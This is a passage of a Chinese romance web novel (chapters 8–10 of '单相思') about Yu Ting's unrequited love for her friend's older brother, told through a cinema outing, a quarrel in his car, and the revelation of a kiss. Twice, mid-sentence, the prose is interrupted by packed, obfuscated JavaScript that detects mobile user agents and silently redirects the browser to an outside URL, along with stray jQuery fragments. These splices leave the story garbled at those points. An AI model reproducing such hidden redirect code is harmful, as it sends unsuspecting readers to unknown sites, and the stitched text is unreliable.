小时候她和方嘉岁总是站不同的CP,为了这事不知道绝交过多少次,而且方嘉岁这人特别执着,虞听要是拆了她的本命CP,她半夜不睡都要打电话过来跟虞听论道,直到她心服口服。久而久之,虞听也就学会了不与她争辩。 高山听得十分认真,像是恨不得拿个小本子记下来。 如果虞听在学校开设一门恋爱教学课程的话,他一定是能拿A+的程度。 面对这样的学生,虞听也是知无不言,言无不尽,正打算再跟他讲一些方嘉岁喜欢吃的食物,背后突然传来熟悉的声音。 “听听。” 虞听转身,看见了方嘉年。 以及他的女朋友。 8. 单相思08 “学长好,我是高山。” 高山鞠躬的姿势呈标准的90度。 也不是同一个学院,叫什么学长,看来练体育的孩子等级意识强是没错的。 向来温和待人的方嘉年在面对学弟的问候时,却没有表现出以往的亲切,他皱着眉从头到脚打量了这个男生一遍,最后目光停留在他握着可乐的手上。 “你只买了一杯?” “啊?”高山迟钝地抬起头。 方嘉年的眼神明显写着不满:“和女生出来看电影,你只买自己喝的吗?” 高山终于明白过来他的意思,这是在谴责他光买自己的,不给虞听买喝的。 一旁的虞听赶紧解释:“不是的,哥,你误会了,是我自己不喝的,我们刚刚已经喝过咖啡了。” 方嘉年的视线移到她身上:“连咖啡也喝过了?” 语气莫名有几分微妙的不爽。 “对不起!我这就去买!” 高山匆忙说了一声就跑去影院前台买饮料了。 他腿太长,虞听没来得及抓住他。 “都说了我不渴,干吗逼着人去买……”让别人为自己跑腿,虞听有些不自在。 方嘉年平时并不是挑剔的性格,相反他处事周到,从不会让人下不来台,真不知道今天为什么对初次见面的高山这么不友善。 这小声的抱怨引来了“扑哧”一声笑。 虞听看向笑声来源,站在方嘉年身侧的女生向她友好地微笑:“你好,我们上次见过的对吧?你是方嘉年的妹妹。” 她先抛来了橄榄枝,虞听自然也不能无视,老实打了声招呼。 女生介绍自己叫江诗逸,是方嘉年医学院的同学。她十分善谈,说话总是带着微笑,给人的感觉就是亲切的邻家大姐姐。 原来嘉年哥喜欢这样类型的女生么? 虽然内心嫉妒得快要分泌出毒液,但虞听也不得不承认,这两人站在一起非常相配。 “你们来看什么电影呀?” 江诗逸的问话打断了她的出神。 什么电影来着?虞听一时想不起来了,手忙脚乱地从包里掏出刚取出的电影票,看了一眼:“呃……《你和我的罗曼史》。” 天呐,方嘉岁为什么要挑选这样一部电影,这名字一听就是个烂片。 江诗逸:“嗯?这么巧!我们也是看这个,看来是同一场次。你们坐第几排?” 虞听干脆将手中的票展示给她看。 “五排……我们是第九排。待会儿影厅要是人不多的话,要不要坐一起?” “……” 不要吧!让她和他们坐在一起,围观她和方嘉年秀恩爱,这跟杀人诛心有什么区别? 虞听浑身都写满了抗拒,却又不知怎么拒绝,好在这时候高山买完可乐回来了。 她如见救星,从他手中接过凝满水珠的冰可乐。 “谢谢,麻烦你了。” “不用谢。” 高山擦了擦脑门上的汗,正要松口气,却感觉一道视线又盯了过来。 方嘉年:“爆米花呢?也只买一份?” 高山:“……” 这次就连虞听都察觉到了他对高山的敌对,忍无可忍道:“爆米花一桶就够了,又吃不完……” 方嘉年看着她:“知道人的手上有多少细菌么?分开吃,方便又卫生。” 虞听:“……” 高山:“……我去买。” 他认命地转身又去柜台买爆米花了。 “太过分了!” 看着高山狼狈离开的背影,虞听终于生气了,瞪着方嘉年:“哥哥为什么要这么折腾人家?” “哪里折腾了?”方嘉年淡淡道,“不过是叫他买点吃的喝的,他约你出来,自然就要照顾你,这不是理所应当的么?” “哥哥难道就买了么?” 虞听瞥了眼两手空空的江诗逸,忿忿地替高山抱不平:“哥哥自己也没给……学姐买,凭什么说人家?” 她终究是说不出来“女朋友”这三个字。 江诗逸一直在旁边看热闹,听到这里,终于忍不住笑了,看向方嘉年:“是啊,你也没给我买。” 方嘉年叹了口气,眼神很是无奈,仿佛在说:你也要跟着小孩子一起胡闹吗? 片刻后,他还是去了柜台,加入买爆米花的人群一员。 今天不知道为什么来看电影的情侣那么多,他混在一群排队给女朋友买零嘴的男生中,背影挺拔高大,看上去却格外地令虞听难过。 从前和方嘉岁来看电影,去排队给她们买零食的人总是方嘉年。 而现在,他也会给别的女孩子买吃的了。 “拿着。” 回来的他手里除了有焦糖味爆米花和饮料,还拿着一串热狗。 “给我干吗?” 虞听还陷在方才那阵惆怅情绪里,有些闷闷不乐,并不伸手去接。 “你不是喜欢吃这个么?以前来看电影,每次都缠着我给你买。” “那都是小时候的事了……”虞听小声嘟囔。 而且为什么要单独给她买?明明女朋友还在这里呢,他真的不怕女朋友会介意么? 虞听莫名有些心虚,小心翼翼地去偷瞥江诗逸,好在她正在观看墙上张贴的电影海报,并没有注意他们这边。 “我不吃。”虞听板着脸拒绝。 “为什么?” “没有为什么,就是不喜欢吃了。” “为什么不喜欢?” “……” 不断追问的语气里有种莫名其妙的执着。 为什么? 为什么以前喜欢吃的现在却不喜欢了? 虞听不耐烦地扭头;“哥哥别管我了,还是先照顾好自己的女朋友吧。” 黏在侧脸上的视线异常灼热,虞听装作不知,拉着抱着两桶爆米花回来的高山走进了检票通道。 电影正如虞听所预料的那样,是部烂片。 俗套且毫无新意的剧情,肉麻到让人起鸡皮疙瘩的台词,以及主角浮夸的演技,都让坐在这里观看完这部电影成了酷刑。 影厅里根本没几个人,且大部分都是成双成对的情侣,这恐怕是方嘉岁特意上网搜索过后,选出的最适合情侣来观看的电影。 前排正好坐着一对情侣,女生亲密地靠在男生肩膀上,男生的手指时不时梳理一下女生的长发,两人越贴越近,密不可分,就像两块黏在一起的口香糖。 虞听的心思早已不在电影上,无意识地盯着他们,脑海里却在想:嘉年哥也会这样吗? 他也会让女友靠在自己肩上,轻轻梳理她的长发,在漆黑的影厅里旁若无人地做一些亲密的小动作吗? 抓心挠肝地想要回头去看,可自尊心却促使她倔强地梗着脖子。 他一定心无旁鹭地跟着女友在看这部烂电影吧,只有自己内心在意得要死,什么也看不进去。 没办法,单恋原本就是这么一件可悲的事情。 鼻腔酸涩,眼睛火辣辣地流下眼泪来,她咬着下唇,不想让别人发现自己在哭。 “你怎么了?” 高山的目光转了过来,又转头看了眼荧幕,神情有些惊讶。 喜剧也能看哭么? “睫毛掉眼睛里了。”虞听不想让他误会,看个烂片把自己看哭太丢人了。 “是吗?我帮你看看。” 下巴触上一片温热,紧接着,脸被转了过去。 虞听有些愣地眨了眨眼,影厅这么黑,能看见么? 高山一语不发地盯着她看,表情特别真挚,看得出是真的想给她找出那根不存在的眼睫毛。 “……” 四目相对,虞听多少有点尴尬,正想说自己没事了,后排突然传来一阵喧闹声,伴随着女生的尖叫。 发生什么了? 虞听还没来得及回头去看,眼前突然降下一片阴影。 下一秒,高山被一双大手揪着衣领从座椅上拎了起来,比西伯利亚寒风还要冰冷的嗓音在头顶响起。 “你在干什么?” 高山:“呃……” “嘉年哥!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560504|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 完全忘了这里是需要安静的影厅,虞听震惊无比地站了起来。 *** 虞听第一次在看电影时被安保人员带了出去。 因为在公共场所“斗殴未遂”,再加上方嘉年翻越踩踏四排座椅,导致部分观众受惊,电影放映暂停,他们一行四人在保安室接受了半天的批评教育。好在这场电影的观影人数不多,没有造成太大的损失,最后只赔了点罚金,被这家影院拉入了黑名单。 四人刚走出商场,虞听就迫不及待向高山道了歉。 “没关系……”高山反而比她更不自在,“是我太没有分寸,让学长误会了……” “误会就可以打人吗?” 高山挠挠头:“那个,反正也没有受伤,罚款也是学长给的……不用放在心上。” “不是上了影院的黑名单嘛。”虞听十分过意不去。 这家电影院就在大学城,离学校最近,平时有很多折扣优惠,很多学生周末都喜欢来这儿看电影,他们一定是电影院的首位黑名单客户。 而这一切都要怪那个罪魁祸首。 她转头瞪向方嘉年:“哥哥不道歉吗?” 高山慌忙摆手:“不用,真的不用……” “对不起,误会你了。” 方嘉年倒是很爽快地道了歉,又说:“不过,下次不想让人误会的话,就不要做令人误会的事。” 比如在漆黑的电影院里捧着女生的脸这种事。 “哥哥!”虞听立即瞪着眼睛。 “是,我记住了。”高山老实地鞠了一躬,又对虞听说,“那我先回去了。” “嗯,路上小心,今天的事真的对不住了。” 满怀愧疚地目送着高山离去,耳边响起方嘉年的声音:“我送你回去。” 虞听勉强回过神,摇摇头:“不用。” “不然你要怎么回去?”方嘉年看向不远处融入人群的男生背影,“能送你的人已经回去了。” “我不要人送,”虞听抿着嘴唇,“我自己搭地铁回去。” “这么晚了,你认为我会让你自己坐地铁回去?” “……地铁怎么了?地铁是90%的人会选择使用的最安全的公共交通工具。” “结论怎么来的?有数据支持么?” “……” 虞听忍着气偏过头,过了片刻,才看着他说:“哥哥别管我了,还是先送学姐回去吧。” 他到底要晾着自己的女朋友到什么时候?这种人真的不会被甩吗?仗着自己长着一张帅脸就随心所欲…… 方嘉年没与她多说,而是看向江诗逸:“你可以自己回去吧?” “嗯,可以。” 江诗逸看这对兄妹俩吵架就忍俊不禁,她还是第一次见方嘉年被气到攥紧拳头还无法发火的样子。 虞听惊愕地抬起脸,她无法理解方嘉年是如何坦然自若地说出让女朋友自己回去的话,而江诗逸竟然还不生气的。 她居然……这么大度的吗? 下一秒,温柔大度的江诗逸视线移到了她的脸上,她微微一笑:“不要吵架了,坐哥哥的车回去吧。我们下次见,拜拜。” “……拜拜。” 虞听机械地跟着挥了挥手,看着她在街边打了辆车坐了进去。 出租车逐渐汇入车流,猩红的尾灯在霓虹闪烁的夜里就如一条红色洪流。 方才还你来我往交锋的二人突然陷入了无话可说的沉默,方嘉年平静地注视着虞听的脸,夜色流光溢彩,倒映在他的眼瞳里,就像流淌的璀璨星河。 “要么我送你回去,要么我打电话,叫你爸爸来接你。只有这两个选项,你选一个?” 他语气淡淡,能把强硬的话语说得如此温和的人,估计只有他一个了。 令人在意的江诗逸离去后,虞听翻滚到快要沸腾的心仿佛也跟着平静了,她不想再闹别扭,只好妥协:“我……坐哥哥的车回去。” “在路边等着,我去把车开出来。” 方嘉年果断转身的背影仿佛写着“早这么说不就好了”。 9. 单相思09 汽车平稳地行驶在主干道上。 方嘉年一边注意着路况,时不时地瞥一眼副驾驶。 “生气了?” “没有。” 虞听托腮无聊地注视着窗外,车玻璃上倒映出她面无表情的脸。 “生气了啊。”方嘉年很确定地下了结论。 虞听没有说话,只留给他一个后脑勺。 “对不起,别生哥哥气了,嗯?” 趁着在等红灯,方嘉年伸手摸了摸那圆鼓鼓的后脑。 真奇怪,有的人就连后脑勺都能表达情绪。 他忍不住笑了。 “嘉年哥。”背对着他的人突然出声。 “嗯。”他连忙收敛了唇边的笑意。 “你能不能别管我了?” “……” 绿灯亮起,车子却迟迟没有启动,后方车辆不耐烦地鸣笛催促,此起彼伏的喇叭声刺耳得令人皱起眉头。 方嘉年踩下油门,低沉的嗓音里有刻意压制着的不悦。 “知道这是你今天第几次对我说不要管你了么?” 不等虞听回答,他径自说出答案:“第三次。” “怎么了?开始嫌我烦了?” “就是……” 虞听盯着车窗外,咬住下嘴唇,竭力憋住哭腔,然而眼泪还是不听话地顺着脸颊流了下来。 “希望你不要管我就好了……” 不要再管她,不要再对她好,不要再让她的心动摇了。 厌烦他、忘记他,对她来说是多么一件困难的事,她正在努力了,明明已经尽力避开了不是吗?为什么偏偏还要出现在她眼前? 给女友买爆米花时不忘带一根热狗给她,宁愿让女友打车回去,也坚持要送她。 这些温柔对待织成了一张细密又巨大的网,黏住她拼命想要离开的双脚。 虞听讨厌这样的方嘉年,更讨厌因为这一点区别对待,而卑劣地产生窃喜心理的自己。 太廉价了,真是…… 眼泪唰地流下,倒映在玻璃窗上的自己就像一个小丑。 正想偷偷去抹眼泪,原本平稳驾驶的车身突然一扭,拐入一条偏僻的小巷。 突如其来的惯性令虞听的身子紧紧贴上车门,她慌张地拽住安全带,还没来得及坐稳,车子来了一个急刹,轮胎摩擦地面,发出刺耳的声音,车骤然停了下来。 “吓到了?” 方嘉年若无其事地将车熄火,一把扯开驾驶座的安全带,身体转向她:“吓到了也忍忍吧,哥现在没办法开车。” “太生气了。”他补充。 平静的语气实在令人无法看出他的怒火已经到无法正常开车的程度。 “……” 虞听呆呆地看着他。 方嘉年叹了声气,从中控台上的纸巾盒里抽了两张纸巾,轻轻擦拭她哭得湿漉漉的面颊。 “为什么哭?我这个被嫌弃像个老头子一样管太多的人还没哭呢。” “……” 她可没说他像老头子这句话。 方嘉年一边替她擦着眼泪,一边自嘲道:“还以为你没有叛逆期呢,那么乖,比方嘉岁听话多了。原来该来的还是会来啊,只是迟了点。” 感叹的语气就像为正处在青春期的孩子而头疼的家长,拿着纸巾的手指稍稍用力。 “擤一下。” “……” 眼睛通红的虞听用力拍开他的手,扯了几张纸巾,手忙脚乱地擦掉鼻涕,又瞪向方嘉年:“哥哥为什么要生气?只是让你别管我,这是值得生气的事么?” 方嘉年将用过的纸巾团成一团,扔进中控台,神情并不像她那么激动,只是淡淡反问:“为什么让我别管你?管了这么多年了,突然说出这种话,不是很奇怪么?” 虞听短暂地被噎了一下,随即更激烈地反驳:“你自己更奇怪!” “我怎么奇怪了?” “哪里都奇怪!看电影不给女朋友买吃的,却对别人指手画脚。” “……后来不是买了吗?” “那为什么只给我买热狗?不给女朋友买?刚刚也是,不送女朋友回家,让她这么晚了打车回去!”虞听越说越大声。 方嘉年注视着她:“是在说你的事情,为什么总是扯上别人?” 别人?女朋友难道是别人吗? 虞听目瞪口呆,真是第一次听到这样的话,她就像个被戳破的气球,迅速萎靡了下来,呆呆看着方嘉年那张帅脸,感叹:“哥哥真的好像渣男一样。” “……什么?”方嘉年荒谬地笑了。 “你要不是长这样,早就被人甩八百回了。” 虞听突然为江诗逸感到不值,那么漂亮,脾气也好,怎么就眼瞎看上这个渣男了? 接着感觉回旋镖扎中了自己,她不也眼瞎看中这个渣男了么? 失望的同时又不免感到些微的庆幸,还好自己迷途知返,及时止损。不然要是真的在一起了,她的下场恐怕会比江诗逸更加凄惨。 果然人只看脸是不行的,有些人看上去光鲜亮丽,其实内在早就腐烂了。 “想什么呢?”方嘉年修长的手指碰了碰她的下巴,突然笑问,“有这么喜欢吗?” “什……什么喜欢?” 虞听迅速回神,还因为紧张,不小心磕巴了一下。他不会能听见自己的心声吧? 然而方嘉年给出的回答令她一头雾水:“那个叫什么高山的。” “高山?为什么提到他?” “你现在不是在因为他跟我生气吗?” 下巴上的手指逐渐上移,摸索到了眼尾附近。痒酥酥的感觉就像有蚂蚁在爬,心脏也忍不住跟着上下起伏。 虞听再也忍不住了,抓住那在自己脸上不停乱摸的手指。 “关高山什么事?那是因为哥哥说话太让人生气了……” “嗯,随便吧。”方嘉年语气不怎么在意,“以防万一,我事先跟你说明一下。如果你想要找人交往的话,那个人不行。” 虞听:“……为什么?” 虽然她也并没有想跟高山交往。 “脑袋太笨了。” 马上给出的回答简直不像方嘉年会说的话,从未对任何人评头论足的他,却在接下来的一分钟内将高山从头到脚批判了个体无完肤。 “既不会看眼色,连话都听不懂,一句话要重复说上两三遍才能懂,这种性子难道不会让你郁闷吗?也不懂得照顾人,没有一点绅士风度,吃的喝的都不给准备,还在电影院那种黑漆漆的环境下捧女生的脸……” “哥哥自己不也……” 话先于脑子脱口而出,但很快在方嘉年冷淡的眼神下败下阵来,虞听默默地咽回了自己原本要说的话。 “也没有那么糟吧?”她忍不住道,“是哥哥太苛刻了。” “为什么老是替他说话?” 方嘉年皱起眉头,询问的语气里有一丝不易察觉的焦躁。 “那当然是……” 当然是因为高山喜欢的人是方嘉岁,以后也许他会成为你妹妹的男朋友,她当然要为人家挽回一点印象分啊。 “当然是什么?”方嘉年追问。 虞听不能说实话,想了想道:“没什么……我就是想到,他以后有可能会成为某个重要的人,所以不喜欢听到哥哥这么说他。” “……” 重要的人——是想说男朋友吧? 方嘉年嘴角勾出一丝漫不经心的笑:“你之前不是说有个喜欢的人么?现在不喜欢了?这么快就可以和别的男生约会?” 巷子里没有路灯,只有远处商铺的霓虹隐约透进来一点光,勉强勾勒出他的侧脸轮廓,他的眼神在昏暗中看不真切,却让人莫名感到一阵寒意。 虞听轻轻点头:“嗯,现在不喜欢了。” 话音刚落,方嘉年放在中控台上的手蓦地握紧了。 下巴紧绷,唇线平直,那毫无表情的面孔在车内昏暗的光线下,就像一尊苍白又英俊的雕塑。 *** 到家后,就像长了千里眼一样,方嘉岁打来了电话。 “电影看得怎么样?” “难看,”虞听毫不留情地批判,“你为什么会选这么一部烂片?” “是吗?我看网友评论说适合情侣去看啊。” 方嘉岁短暂地困惑了一下,但很快又将话题拉回正轨:“不过谁问你片子了?我问的是七号他人怎么样?” “七号?” “就是高山。” “……” 居然还给人家编了编号! 虞听颇感无力:“……还不错。” 她不能明确地说自己对高山没兴趣,不然方嘉岁很快就会将高山划出“心动男嘉宾”名单,转头给她介绍下一位,高山就彻底没戏了。 “真的吗?哪方面不错?”方嘉岁兴致勃勃地追问。 虞听被迫说出了几个优点:“人挺老实的,个头也高……” “他练跳高的。”方嘉岁打断她道。 “是吗?难怪这么高呢。” “上体育课时我一眼就看到他了,个子高的人就是显眼。怎么样?不比方嘉年矮吧?” “……” 为什么突然要提她哥…… 虞听心虚道:“是吗?我没有注意。” “下次你比比看就知道了。脸的话可能比不上,但长得也不差,不是么?” 她为什么要一直拿方嘉年作对比?难道是因为她身边的男生只有哥哥这一个比较标杆? 虞听不想再继续这个话题,敷衍地嗯了一声。 “还有呢?” “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560505|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “他不可能只有这两个优点吧?” “……” 这又不是在写作业,怎么还逼着她细数别人的优点? 虞听叹了口气,只能搜肠刮肚地憋出些夸人的词汇,心想我真是为你们付出太多。要是日后这两人成了的话,必须请她坐主桌。 方嘉岁:“你们都聊了些什么?” 虞听:“……也没聊什么特别的。” 其实主要是聊你去了。 “是吗?那你对他的初印象呢?” “初印象……他发消息中规中矩的,跟我爸妈一样,要不是那个卡通头像,我还以为是年龄偏大的人呢。” “哈哈哈……” 方嘉岁在电话里发出一阵笑声,得意道:“可爱吧?我让他换上的。听说卡通头像能拉近和女孩子的距离。而且,你不觉得长颈鹿很贴合他的形象么?又高又瘦,脖子也挺长的。” “……” 虞听真是不知说什么好了。 她让一个男孩子换头像,结果人家说换就换了,这难道还不能说明什么吗? 方嘉岁那么聪明的一颗脑袋,在感情的事上还真是迟钝得可以。 虞听突然想起高中时期的一件事。 高中时,方嘉岁曾因早恋被老师叫过家长。 并不是真的早恋,只是那个男孩子的一厢情愿。男生喜欢方嘉岁,所以特意去打听了她的喜好,得知她的兴趣是追动漫,为投其所好,下载了十几部动漫番剧回家连夜看完,第二天再假装不经意地跟方嘉岁提起。 作为一个二次元狂热爱好者,方嘉岁很高兴能找到同道中人,很快就跟他打成一片。两人不仅在下课时热切讨论,就连上课都要传纸条,交流昨天看完的最新一话的剧情。 本就是对男女早恋问题抓得特别严的高中时期,稍微一点风吹草动都能引发无限遐想,他们这时时刻刻黏在一起的样子,落在别人眼里,就成了如胶似漆的情侣。 两人被叫了家长。 方嘉岁是年级排名前十的学霸,一般很少有被叫家长的机会,但一旦她犯了什么错要被叫家长时,那叫来的家长一定是哥哥方嘉年。 就连方嘉年自己都吐槽,好事轮不上他,挨骂的时候倒是能想起他了。 而那天他也果然被骂了。 与方嘉岁否认自己早恋的说辞不同,男生坚定地宣称他和方嘉岁彼此喜欢。 方嘉岁说话从不分场合,当着办公室所有老师和在场家长的面,问他是不是有妄想症。 男孩的家长立刻就炸了,扑过去就要给方嘉岁一耳光,被方嘉年挡在中间。 办公室里吵得不可开交,就连虞听都被叫进去做了证明。 事情以一场闹剧收场。 挨了打又挨了骂的方嘉年最后并没有怪罪妹妹,他没有指责方嘉岁不应该跟男生走得太近,也不觉得她跟同学讨论兴趣爱好有什么不对,只说是那个男孩子误会了,她没有任何问题。 是因为有点愧疚吗?向来爱跟哥哥顶嘴的方嘉岁这次并没有说话,过了许久,她才问:“那要是我真的早恋了呢?” “早恋可以,但不能影响学习。” 靠在走廊栏杆上的方嘉年浑不在意地说道。 他的脸上还有男生妈妈抓出来的指甲印子,衬衫扣子也被扯掉了两粒,领口凌乱地敞开着。分明是狼狈到不行的模样,却莫名令人有几分心动。 早恋也可以吗? 意料之外的话语令旁边的虞听怦然心动,心底油然而生一股莽撞的勇气,令她蠢蠢欲动。 如果自己向他告白的话,他会接受吗? 本来想等毕业了再告白,免得他拿未成年人的借口拒绝她,可现在看来,他比自己想象的要开明多了。 也许是她脸上的跃跃欲试表现得太明显了,方嘉年突然向她侧过头来,唇边带着温柔笑意,话却说得不留余地。 “你不行,听听。” ——现在想来,他在很久以前就拒绝过自己了。 唉。 虞听叹息一声,身体向后倒在床上,郁闷地揉了揉额头。 “为什么叹——” 方嘉岁的话还没说完,电话里就传来“嘭”地一声巨响。 那声响通过扬声器传进虞听耳朵,吓得她一个激灵坐了起来:“什……什么声音?你家高压锅爆炸了吗?” “不是。” 方嘉岁捂住听筒,似乎在那边骂了一句什么话,随即告诉虞听:“是方嘉年回来了。不知道发什么神经,脸色差得要去见阎王了。” 虞听:“……” 还在生气吗? 虞听握住手机的手指变得僵硬,关节泛白。 在自己说出那句“不喜欢了”之后,方嘉年的脸色就变了,他未发一言,沉默地开完了那段送她回家的路程。 10. 单相思10 要暂时休学吗? 写生教室里,虞听握着炭笔,看着只打了一个草稿轮廓的画布,脑海中缓缓浮现出这个想法。 这想法也不是突然冒出来的,早在最近三天两头在学校碰见方嘉年的时候,她就隐隐产生了这个念头。 总是在眼前晃的话,要什么时候才能放弃这段感情? 老是因为他动摇,上课走神,心情也受到影响,开学后教授留的画稿作业根本没完成几张。再这样下去,恐怕就要被学校劝退了。 还不如主动休学呢,去某个地方暂时散一下心,看不到人的话,喜欢他的心也会渐渐平息下来吧,人本来就是适应性的动物。 要不要先去教务系统申请呢? 虞听不担心父母会反对,如果爸妈知道自己有多难受的话,说不定还会劝着她去休学旅行,从小他们对自己的教育就是只要开心就好。 笔芯断了,她掏出美工刀,开始削起炭笔。 “话说我上次见到方嘉年学长了,他不是去医院了吗?为什么还经常来学校?” 就像在催促她快点下决定一样。现在光看到本人还不够了,就连耳边都充斥着关于他的讨论。 午后的画室里,阳光和煦地透过纱帘洒了进来,坐在画布前的学生们昏昏欲睡,为了驱赶睡意,他们一边手里不停,一边谈论着那些让人感兴趣的话题。 “听说他准备考博吧?医学生学历不够的话没前途,毕业了也进不了三甲医院。” “人家没这个烦恼吧,听说学长家里挺有钱的,看他开的车就知道了。” “长得帅,又多金,人还那么亲切,老天爷到底少给他点了哪个技能点?” 这句话瞬间引来了一片附和。 但也有人犹豫着表示不同意见:“那个……你们不觉得方学长看着温和,其实挺难接近吗?上次去图书馆,他在自习室学习,有个女生送给他一盒自己做的饼干。学长当时明明笑着收下了,可等女生一走,他转头就将饼干扔进了垃圾桶。” “那又怎么了?”一个女生毫不在意地道,“给学长表白送礼物的人还少吗?难道每个人送的他都要接受?不喜欢那个人的话,不吃她做的饼干也没有问题吧?” “我不是这个意思。如果不喜欢的话,他完全可以拒绝收下那份饼干不是吗?何必等女生走后将饼干扔了呢?那不是糟蹋人家的心意么?而且说实话,他当时笑的样子还挺瘆人的……” “是你太敏感了,不会那个送饼干的人就是你吧?” “……不是!”女生当即涨红了脸。 眼见战火有逐渐蔓延起来的架势,安静的画室内,有一道不和谐的冷笑声响起:“我说你们女生就是肤浅,光会看脸,像方嘉年这种烂货也值得你们追捧。” “……” 大家不约而同将视线投向声音来源,看清说话者是谁后,都不觉得惊讶。 这人平时嘴巴就臭,喜欢发表一些令人不适的发言。 “真是的,要造谣也说点靠谱的话吧,方学长平时都不跟女生来往,连女朋友也没有。”有人回怼他。 就像生怕别人不知道自己是特立独行的艺术生一样,姜赫留着长长的头发,身上的文身多到眼花缭乱的程度,耳朵上打满了洞。 方嘉年打了眉钉也显得干净端正,浑身是洞的姜赫却像流氓一样。 他非常享受自己成为人群中的焦点,忽然觉得后背发热,转头一看,竟然看见虞听也目光灼灼地盯着自己,心中的成就感顿时更为强烈了,嘴里也吐露出更多贬低方嘉年的话语:“像他这种表面装腔作势的人,说不定私下里跟女人打得火热,下半身早就被玩烂了。” 虞听紧紧地握住美工刀。 要不把这个人杀了算了? 正当想杀人的念头快要克制不住时,有人说:“方嘉年好像有女朋友了,上次有人见到他和女生一起看电影。” 一直旁听的匡义听到这里简直如坐针毡,下意识去偷看虞听的反应,想跟她解释不是自己说出去的。 虞听让他对她和方嘉年的关系保密,他可一个字也没往外说! 可虞听脸色惨白,压根没注意到他的视线。 匡义往下一看,才看见她捂住右手手掌,鲜血汨汨地冒了出来。 “虞听!你没事吧?” 匡义急忙扯了几张纸巾,包住她被割伤的手,白色的纸巾很快被殷红的血液浸透了。 因为他这一声吼,整个教室的人都看了过来,众人也被这鲜血横流的场面给吓到了,慌忙喊着快去医院,美术生的手最重要了。 最终由班长匡义将虞听送去了医院。 好在伤口并不算太严重,不需要缝针,校医生给虞听的手简单止血包扎后就离开了。 看着脸色苍白呆呆坐在床沿的人,匡义突然道:“对不起。” 虞听茫然抬头:“对不起什么?” “学长有女朋友这件事,真的不是我说出去的。”匡义就差没指天发誓向她保证。 虞听愣了片刻后,点点头:“我知道。” 接着她又说:“我也有件事需要向你坦白。” “什么事?” “其实我不是方嘉年的女朋友。” “……” “他是我好朋友的哥哥,而我对他来说……”虞听低着头,酸涩感突然涌了上来,“也只是一个认识的妹妹而已。” 匡义目瞪口呆,足足反应了半分多钟,才迟疑地道:“不应该啊。” “什么不应该?” “上次我见到了,”匡义看着她,“你和方学长在巷子里接吻。” “……” 虞听眨眨眼,过了良久才艰难地反问:“新生聚会那天?” “对,那天你喝多了,说要出去吹吹风。我见你出去了好久都没回来,担心你出事,就跟出去看了看,然后……” 然后,他就看见了漆黑的夜色里,虞听被一个高大的男人按在墙上亲的狂乱场面。 心脏砰砰跳动起来,速度快到几乎令人眩晕的程度,虞听搓了搓变得火热的面颊,不确定地反问:“应该是我主动的吧?” 匡义点头:“是你主动的,你突然抓着学长的衣领亲了上去,他愣了一下,把你推开了。” 果然如此,虞听真是一点也不意外。 她竟然真的做出了强吻方嘉年这种事。 推开她已经不错了,在那种情况下,打她一巴掌都算是轻的。 可匡义的下一句话却推翻了她所有的想法。 “但是——他很快又亲了回去。” “!!!” 大脑一片空白,难以置信,虞听几乎是依据本能在提问:“他主动的?” “对。” “你没看错?” “我用我裸眼5.0的视力保证我没看错,而且……”匡义顿了顿,仿佛接下去的话很难以启齿一样,“他吻你的架势,就好像要吃了你一样,对着妹妹应该做不出来这种事吧?” “……” 好半天,虞听都没能说出一句话,失去血色的嘴勉强张了张,声音小到要匡义竖起耳朵去听。 “……不是梦啊。”她喃喃道。 原来那并不是梦。 巷子里狂野的月色,口中激烈交缠的唇舌,还有那双将她牢牢禁锢在怀里的臂膀,一切都是真实发生过的。 难怪第二天她照镜子,发现自己嘴唇肿了。 该有多么激烈才会亲到嘴唇都肿胀的地步。可那个人却能一脸神色如常,仿佛什么都没发生过。 狗东西。 她握紧受伤的手掌,轻笑。 啊,现在是真的有杀人的欲望了。 *** “你早就知道我喜欢嘉年哥的事情,对吧?” 甜品店里,虞听一见到方嘉岁就单刀直入地逼问。 “啊?”正在喝奶茶的方嘉岁一脸慌乱地抬起头,“你在说什么?我……我不知道啊……” 虞听面无表情地盯着她:“岁岁,你知道你一撒谎就会频繁眨眼吧。” 方嘉岁:“……” 相识多年的好处就在这里了,方嘉岁的一切小习惯她都了如指掌,她在虞听面前根本撒不了谎。 方嘉岁愣愣地看着好友,她平静的脸上好像写着:我什么都知道了,你就老实交代吧。 方嘉岁就像犯了弥天大错的罪人一样,浑身脱力地把脑袋磕到了桌子上。 “是,我知道……” “怎么知道的?” 怎么知道的? ——根本不可能不知道啊。 要说方嘉岁在感情方面迟钝是真的,可虞听表现得实在是太明显了。 来她家玩时,总会先问一句“嘉年哥在家吗?”;看见方嘉年后,眼睛亮得就像看见主人的小狗一样,目光总是跟追随方嘉年而移动。小的时候,她不止一次地说过“真羡慕你有哥哥啊”“有嘉年哥这样的人做哥哥,一定很幸福吧”这种话。 方嘉岁不明白这有什么好羡慕的,方嘉年当然算一个好哥哥,但只要家里有兄弟姐妹的人都知道,一旦在一起生活久了,就算再好看的人,看到脸也会嫌烦,甚至到了连呼吸声都讨厌的地步。 内心的离谱感在虞听问出那句话后上升到了巅峰。 “我也能叫哥哥吗?” 有一天,虞听眼巴巴地跑过来问。 桌子上都是她一大早塞进书包带来的进口零食,甚至还包括几本方嘉岁一直买不到的漫画单行本,为了一个在方嘉岁看来很荒诞的请求,她献上了自己最诚挚的贿赂。 “拜托了,岁岁,”她双 